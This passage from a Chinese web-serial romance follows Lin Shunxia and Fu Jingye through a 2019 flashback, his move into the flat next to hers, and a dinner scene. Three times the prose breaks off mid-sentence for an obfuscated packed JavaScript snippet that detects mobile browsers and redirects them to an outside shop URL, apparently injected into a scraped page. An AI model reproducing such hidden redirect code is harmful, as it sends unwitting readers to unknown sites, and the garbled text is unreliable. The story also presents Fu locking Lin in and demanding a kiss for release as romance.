他有点不自在地轻咳了一声,别过头,看向窗台外的梧桐树,嘴硬道:“这是男生正常的生理特征,少见多怪。” “走了,再不去公交站,你又要错过一班车。” 说着,他就拽着林瞬夏的手往楼梯下走去。 从教学楼到校门口的公交站,林瞬夏要走908步。 不过今天被傅竞野牵着,他的步幅很大,林瞬夏不得不调整频率跟上他。 最后,只用了867步。 夏天牵手有点热,不过为了维护好新的恋爱关系,林瞬夏忍住了,任由傅竞野牵着,没有甩开这种接触,然后用湿巾擦手。 到了公交站台。 站牌的金属立柱在夕阳下反着光。 傅竞野松开了她的手,没有急着拉开距离,站在她身侧半步的位置,替她挡住了西晒的刺眼阳光。 “明天开始是暑假。” 傅竞野单手插兜,另一只手把玩着那个粉色书包的带子,视线落在路口,语气随意地开启了话题:“有什么安排?” 林瞬夏正在盯着站牌上的线路图,听到问题,大脑迅速调取了已经规划好的日程表。 “早上八点到十二点,在家里拼乐高。”她回答得很精确。 傅竞野挑了挑眉:“什么型号?” “那款复古打字机,21327。” 提到这个,林瞬夏的眼睛亮了一下,腮帮子微微鼓起,似乎想到了什么有意思的难点。 “虽然只有2079个零件,但它的字母连动杆结构很特殊。每一根压杆的弹簧力度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519933|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要调整,为了模仿真实打字时的回弹手感,我需要先把内部的齿轮组重新润滑一遍。” 傅竞野点了点头,对这个庞大的工程量表示了肯定。 “下午呢?” “下午两点,去公园。” “哪个公园?” “就是我家附近的那个。”林瞬夏指了指站牌上的某一站,“南湖公园。” “一点四十。”林瞬夏给出了精确的时间,“步行过去二十分钟,刚好两点到。” 收集完所有必要数据后,傅竞野点了点头,单方面修改了她的行程:“行,那我一点四十在你家楼下等你。” “为什么?”林瞬夏问,“我去公园是为了接受日照,不需要别人陪同。” 傅竞野看着林瞬夏脸上毫不掩饰的“你很多余”的表情,伸出手,食指在她额头上轻轻弹了一下,说:“林瞬夏,你知道吗,谈恋爱是有维护周期的。” 他看着她懵懂的眼睛,继续面不改色地给这段关系增加新的霸王条款:“为了保证关系的存续,双方见面的间隔时间不能超过72小时。” “也就是说,”他竖起三根手指,“三天之内必须见一次面,否则......” “否则什么?”林瞬夏紧张地问。 “否则,”傅竞野俯下身,黑沉沉的眼睛盯着她,声音压低,像吓唬小朋友一样说,“之前的多巴胺积累就会清零,一切都要从头开始。” “你想从头开始吗?” 清零,从头开始。 就像是把林瞬夏的游戏的存档全都清空。 这肯定不行。 她立刻摇了摇头,说:“不想的。” “那就听话。”傅竞野满意地直起身,正好这时,远处驶来了一辆绿色的公交车。 “车来了。” 他把粉色的书包递还给林瞬夏,说,“明天见,女朋友。” 傅竞野如约教给林瞬夏很多很多谈恋爱的规则。 林瞬夏全都好好执行,像遵守她的日程表一样,没有一样失约,也没有一次违规。 不遵守规则的人是傅竞野。 回忆在这里戛然而止。 林瞬夏眨了眨眼,眼前的画面重新聚焦,不再是那个充满蝉鸣、橘子汽水味的太阳和永远牵着手的2019年夏天。 而是此时此刻。 狭窄、幽闭、冷冰冰的电梯轿厢。 林瞬夏推开了傅竞野。 她对傅竞野说:“谈恋爱一点也不简单。” “我再也不要你教我了。” 14.怎么要同居 傅竞野维持着被推开的姿势,手臂还悬在半空中。 总是带着散漫笑意的眼睛里,第一次出现了一瞬间的空白,喉结轻微地滑动了一下,像是要说什么,但最终什么声音也没发出来。 林瞬夏有点重心不稳地站起来,越过傅竞野,摇摇晃晃地走到电梯按键前,抬手按亮了代表开门的箭头按钮。 电梯门再一次打开了。 林瞬夏对傅竞野说:“你走吧!” 又对他说:“我会自己学的。” 傅竞野脸上没有任何表情,看了林瞬夏一会儿,退了出去。 林瞬夏迅速按了关门键。 傅竞野终于消失了。 下午的工作时间,林瞬夏展现出了极高的效率。 在完成了原本计划内的图纸审核后,她利用三十分钟的休息时间,在搜索引擎里输入了“结婚”两个字,并进行了认真地学习。 “婚姻,是为当时社会制度所确认的,男女两性互为配偶的结合。” “本质是一种民事契约关系。” “核心在于财产共有、风险分担以及繁衍后代的合作模式。” 这听起来并不算很难,像是找了一个长期的项目合作伙伴。 林瞬夏合上笔记本,觉得傅竞野之前的恐吓纯属夸大其词,于是不再恐惧,并对未来的婚姻生活有了一些预期。 晚上七点,她准时下班,并在便利店购买了金枪鱼饭团。 电梯上行至八楼。 “叮。” 电梯门打开。 林瞬夏迈步走出去,却在看清走廊景象的瞬间,停下了脚步。 原本空旷、落满灰尘的801室门口,此刻堆满了东西。 十几个搬家纸箱,尺寸统一,棱角分明,整整齐齐地码放在墙边,像是一道城墙。 林瞬夏皱起了眉。 自从她和爸爸妈妈来看房的时候开始,801室一直是空置的。 对于这层楼只有她一户居民这件事,林瞬夏一直感到非常满意。这意味着除了电梯运行的声音,她不需要忍受任何不可控的人为噪音。 但是现在,这个完美的居住环境被破坏了。 林瞬夏盯着那些箱子,开始思考。 新邻居是谁?会有几个人?有没有宠物? 会不会在晚上十点后使用洗衣机,或者早起大力关门,会不会吵到林瞬夏? 林瞬夏感到了一阵烦躁。 她握紧了手里的饭团,塑料包装纸发出“咔擦”一声轻响。 就在这时,801那扇紧闭了许久的深灰色防盗门,毫无预兆地从里面打开了。 “咔哒。” 是锁舌弹开的声音。 林瞬夏立刻后退了半步,警惕地看过去。 门开了。 暖光顺着敞开的门缝流淌到了昏暗的走廊里。 傅竞野就在那片光影里。 他靠在门框上,视线扫过林瞬夏手里可怜的便利店饭团,最后落到林瞬夏呆滞的脸上。 “回来了?” 傅竞野的语调熟稔而自然,像是早上才见过面的丈夫,在迎接下班晚归的妻子。 林瞬夏的大脑宕机了整整五秒。 “你......”她指了指傅竞野,又指了指门牌号,“你怎么会在这里?” “搬家。”傅竞野言简意赅,指了指地上的箱子,说,“看不出来吗?” “我知道是搬家。”林瞬夏想不明白,“但是你为什么要搬到这里?” 林瞬夏在电视里见过傅竞野的家,很大很豪华的白色房子,毫无疑问比这里更舒适,也更安全。 傅竞野看着她,唇角弯了弯,往前一步,跨出门槛,走到了两间房共用的走廊里。 “林瞬夏,根据《民法典》第一千零八十六条的衍生解释,夫妻双方有义务履行共同居住的责任。” “既然你还没学会怎么当妻子,那我只能委屈一下。” “作为你的合法丈夫兼新邻居,以后请多关照。” “还有,”他伸出手,极其自然地抽走了她手里的饭团,皱着眉评价道:“不要总是吃你的金枪鱼饭团了。进来吃饭。” “共同居住。” 林瞬夏的大脑迅速调取了下午浏览词条时的一行小字。 虽然法律条款上确实有这一条,但根据社会学的一般定义,“同居”通常指在同一物理空间内的生活资源共享。 现在,傅竞野住在801,她住在802。 虽然两扇门之间的直线距离只有1.5米,共享同一个电梯厅和楼道灯光,但这能被判定为“共同居住”吗? 这是一个模糊的边界地带。 林瞬夏还在纠结这个定义的准确性,但那个被傅竞野拿走的金枪鱼饭团已经跨越了国境线,进入了801的领地。 那是她的晚饭。 也是她维持生命体征的必要燃料。 为了追回自己的财产,林瞬夏犹豫了两秒,还是迈过了那道门槛,跟着傅竞野走了进去。 然而,在踏入玄关的瞬间,林瞬夏的感知系统再次受到了一次小规模的冲击。 这根本不是她记忆中格局狭窄、层高压抑的老式公寓。 视野十分开阔。 傅竞野似乎不仅仅买下了801,还顺便买下了楼上的901,并进行了一次暴力的、彻底的结构重组。 原本分割客厅与餐厅的非承重墙被全部拆除,天花板被凿穿,做成了挑空的复式结构。黑色的哑光钢结构楼梯盘旋而上,连接着二楼的私人区域。 空气里是恒温新风系统吹出的、干燥而洁净的冷气,以及淡淡的香氛气味。 林瞬夏觉得这里像是悬浮在老旧小区里的独立太空舱。 她搬进来以后从来没有听见过装修的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522236|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 傅竞野是什么时候买下这里的? “洗手。” 傅竞野的声音打断了林瞬夏的思考,他随手把可怜的饭团扔在玄关的置物盘里,下巴点了点洗手台的方向。 林瞬夏回家的第一件事情确实是洗手,她听话地走过去,洗手,擦干。 然后她闻到了香味,纯粹的食物香味。 餐厅有一张很长的大理石桌子。 一位穿着白色厨师服的男人正站在桌边,最后调整了一下餐具的位置,然后对着傅竞野微微鞠躬,安静地退了出去,消失在厨房的侧门后。 桌上摆着三菜一汤。 林瞬夏站在桌边,视线落在那些盘子上,原本准备好的“拿了饭团就走”的计划,出现了严重的动摇。 清炒虾仁。 每一个虾仁都剔除了虾线,去掉了所有可能扎嘴的壳,大小均匀,呈现出完美的半透明粉白色。而且,盘子里只有虾仁,没有混杂讨厌的青豆或者胡萝卜丁。 煎牛排。 切成了整整齐齐的3厘米见方的小块,表面焦褐,内部是均匀的粉红,没有淋任何黏糊糊的黑胡椒酱汁,只在盘子边缘放了一小撮海盐。 还有一盘水煮西蓝花。 同样没有淋酱汁,每一朵都保持着翠绿,彼此之间保持着安全的距离,互不干扰。 林瞬夏的喉咙动了一下,分泌出了一点渴望的唾液。 她的胃部适时地发出了一声轻微的抗议。 便利店的金枪鱼饭团,海苔往往是受潮的,咬下去的时候会有软塌塌的、令人不悦的韧性。而且里面的蛋黄酱有时候太多,有时候太少,林瞬夏不算很喜欢。 但它已经是独居的、不会做菜的林瞬夏最好的选择了。 眼前这一桌菜,比妈妈做的看起来还要好,林瞬夏握紧了拳头,试图用理智对抗本能。 “站着干什么?”傅竞野拿起筷子,夹起粉白剔透的虾仁,走到林瞬夏面前,手腕轻转,筷尖稍微倾斜。 虾仁就在林瞬夏眼前,表面折射出一层诱人的油润光泽。 林瞬夏的视线被这颗虾仁捕获,忠实地跟随着它移动。 左边。 眼珠向左。 右边。 眼珠向右。 上移。 林瞬夏不得不仰起头。 傅竞野看着她那副没出息的样子,忍不住笑了一声。 “想吃?” 他明知故问,筷子却恶劣地往回缩了缩,拉开了一点距离。 林瞬夏的目光死死粘在那颗虾仁上,完全没意识到自己正不自觉地踮起脚尖,甚至身体前倾,像只试图去够胡萝卜的、不太聪明的兔子。 “想吃。”她很诚实地点头,喉咙里发出一声很轻的吞咽声。 “那怎么办呢?”傅竞野叹了口气,“刚才某人好像说过,要自己学,不需要我了?” 15.能屈也能伸 “那个......” 林瞬夏的视线仍然黏在虾仁上。 “关于不需要你这个结论,”为了虾仁,她严谨地修正了自己的措辞,“是基于当时信息不完全的情况下得出的。存在一定的偏差。” 她的语气很真诚:“我现在觉得,或许还是需要一点指导的。” “比如?”傅竞野挑眉。 “比如,现在的用餐环节。”林瞬夏张开了嘴。 傅竞野眼底掠过一丝笑意,终于大发慈悲地将那块虾仁送进了她嘴里。 牙齿咬合的瞬间,鲜甜的汁水在口腔中迸发。虾肉紧实弹牙,海盐的咸味极其克制地衬托出了食材本身的鲜美。没有多余的调味,没有复杂的口感干扰。 非常完美。 林瞬夏幸福地眯起了眼睛。 晚餐完美的符合林瞬夏的想象,傅竞野没有说话,也没有和她发生眼神接触,她幸福地享用了完美的食物。 二十分钟后,林瞬夏放下筷子,拿起餐巾擦拭了唇角。 既然饭吃完了,那么“共同居住”的义务也算是履行了一部分。现在的首要任务,是回到802。 现在是六点四十二分,马上就要七点整了,爸爸妈妈的电话要打过来了。 “谢谢招待。”林瞬夏对着傅竞野礼貌地点了点头,语速比平时快了零点五倍,“我要回去了。” “吃完就走。”傅竞野好像有点不高兴了,说,“你把这里当食堂吗?” “不是食堂。”林瞬夏纠正他,“但是我要给爸爸妈妈打电话了,这是我的日程。” “就在这里打。”傅竞野指了指客厅的沙发,说,“这里信号很好。” “不行。”林瞬夏拒绝地非常坚决。 “为什么不行?”傅竞野看着她那副避之不及的样子,更不高兴了,“我是见不得人吗?还是说你还是不想让爸爸妈妈知道我的存在?” “林瞬夏,你怎么和以前一模一样?你觉得这样就能藏住我?” 关于傅竞野说的以前,林瞬夏当然记得。 2019年7月12日的下午,似曾相识的事情曾经发生过。 室外的温度高达39度,但林瞬夏的房间里维持着24摄氏度,非常舒适,窗帘拉得严严实实。 她正盘腿坐在地毯上,手里握着游戏手柄,神情专注。 而傅竞野就躺在她身边的地毯上。 他占据了大部分空间,长腿随意地屈起,一只手枕在脑后。 屏幕上,平时总是死寂无人的游乐园里,今天破天荒地放入了一个游客。 游客编号:Peep#1。 重命名:傅竞野。 “我要吐了。” 身边的傅竞野开口,指了指屏幕上那个正在螺旋轨道上疯狂旋转的小人:“虽然是游戏,但林瞬夏,你设计的这个离心力是不是有点反人类?” 林瞬夏没有理会他的抱怨,而是迅速点开了“Peep#1”的状态面板。 快乐值:High。 兴奋度:Extreme。 恶心度:8.9(持续上升中)。 “恶心度确实偏高。” 林瞬夏盯着那个红色的数值,冷静地分析:“这是因为在进入这段720度螺旋加速之前,你刚刚吃了一个汉堡和一杯可乐。这是摄入过量糖分和碳酸气体导致的胃部不适,与轨道设计无关。” 傅竞野被她的逻辑气笑了。 他直起身,凑近了林瞬夏,说:“那能不能放我下来?” 傅竞野看着屏幕上那个被困在过山车上、已经循环了十八圈的小人,语气里带着点讨价还价的意味:“我想去买个冰激凌。” “不行。”林瞬夏说,“你需要坐二十圈,我才能做出准确的判断。” 傅竞野啧了一声,没再说话,把下巴压在她肩膀上,看着屏幕里的小人继续旋转。 时间一分一秒地流逝。 屏幕右下角的数字时钟,无声地跳动了一下。 16:30。 林瞬夏按下了暂停键,画面定格。那个叫做“傅竞野”的小人被卡在了垂直下坠的半空中,神情惊恐。 “怎么了?”现实中的傅竞野懒懒地问。 “四点半了。” 林瞬夏放下鼠标,转过头,表情变得严肃:“妈妈会在五点十五左右到家。为了预留出整理房间、消除气味以及你离开的时间,你现在要走了。” 傅竞野脸上的笑意凝固了一下。 “所以呢?”他问,声音听不出情绪,“阿姨回来看到我在,会怎么样?会报警抓我吗?” “如果妈妈看到你,会问我很多问题的。”林瞬夏试图给他解释其中的利害关系,“比如你是谁,为什么在这里。” “就因为这个?”傅竞野看着林瞬夏,有点难以置信。 “对。”林瞬夏说。 “我不走。” 傅竞野重新躺回地毯上,双手枕在脑后,甚至还得寸进尺地闭上了眼睛,一副要在她家地毯上生根发芽的模样。 “外面太热了,我要吹空调。” 林瞬夏急了。 时间正在流逝。16:32。 每一秒钟的拖延,都在增加暴露的风险概率。 “你快起来!” 她站起来,伸手去拉傅竞野的手臂。 但他太沉了。 少年的骨骼已经完全长开,肌肉密度很大,当他存心不想动的时候,就像是一座沉重的大山。 林瞬夏用了全力,脸都憋红了,但他纹丝不动。 “你快走吧!”林瞬夏的声音里带上了明显的焦急,“你快走。” 傅竞野睁开眼。 他看着居高临下拽着自己的林瞬夏。她急得眼圈都红了,像是真的遇到什么天塌下来的灾难。 而灾难的源头,是他。 多的是人想和他扯上点关系,林瞬夏怎么一副他见不得人的样子? 不过他看着林瞬夏憋红的脸,还是没有发火。 “行。” 他猛地坐起身,动作幅度很大,带起一阵冷风。 林瞬夏被他的动作吓了一跳,下意识松开了手。 傅竞野站起来,一言不发地拎起扔在一旁的书包,单肩甩在背上。 他走到门口,手搭在门把手上,停顿了一下。 回头。 房间里光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524088|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线昏暗,只有电脑屏幕还在幽幽地发着光。屏幕上,那个叫做“傅竞野”的小人依然被孤零零地卡在半空中,既上不去,也下不来。 “林瞬夏,明天别再叫我来陪你打游戏。” 傅竞野放下狠话,就拉开门,头也不回地走了出去。 当然,他只消失了一天,在72小时之内,就重新出现在了林瞬夏家的楼下。 所以林瞬夏现在也很坚定地说:“嗯,我要回家了。” 一个令傅竞野恼火的,毫无长进的答案。 林瞬夏转身走向玄关,脚步匆匆。 她伸出手,握住金属把手,用力下压。 “咔哒。” 大门纹丝不动。 林瞬夏愣了一下,又试了一次。这一次她加大了力气,甚至用上了双手。 依然没有反应。 这扇门像是焊死了一样,拒绝向外开启。 林瞬夏抬头看向门锁上方的电子显示屏。屏幕漆黑一片,没有任何指示灯亮起。 “为什么打不开?” 她转过身,有些无措地看向一直站在她身后半步的傅竞野。 傅竞野单手插在西裤口袋里,好整以暇地看着她这副焦头烂额的样子。 “这是全屋智能中控系统。” 他不紧不慢地解释道:“为了防止非法入侵或意外闯入,我在下午设置了最高级别的安防模式。只有经过生物识别认证的管理员才能解除锁定。” “生物识别?”林瞬夏捕捉到了关键词,“那你是管理员吗?” “我是。” “那你帮我开一下。” 林瞬夏指了指那个毫无反应的门锁,语气急切。 “凭什么?”傅竞野挑眉。 “因为......”林瞬夏卡壳了一下,找不到理由,只能又重复了一遍,说,“你帮我开一下好吗?” 傅竞野说:“可以是可以,不过管理员现在心情不太好,不想开。” “那怎么样你的心情才会好?”林瞬夏问。 “林瞬夏,这顿晚餐,从选材、烹饪到服务,我都提供了最高规格的标准。按照等价交换原则,你在离开之前,是不是应该支付一点......感谢费?” 林瞬夏茫然地看着他。 感谢费? “我有钱。”她立刻去摸口袋,“多少钱?我有支付宝和微信,都可以。” 傅竞野又被气笑了。 “我不要钱。” 他伸出手,指尖点在那个黑色的电子屏幕上。 “系统设定的解锁方式只有一种。” 傅竞野的声音里又带上了熟悉的诱哄,开始一本正经的胡说八道:“需要加盖一个管理员印章。” “印章?”林瞬夏更加困惑了,“什么印章?公章吗?还是私章?” “私章。” 傅竞野伸出手,指了指林瞬夏的颈侧,说:“管理员想盖在这里。” 林瞬夏立刻说:“不可以的!爸爸妈妈会看见的!” “哦。”傅竞野说,“那你想我盖哪里。” 林瞬夏站在原地犹豫了一会儿,嘴唇微微撅起,说:“你盖这里吧,我比较喜欢。”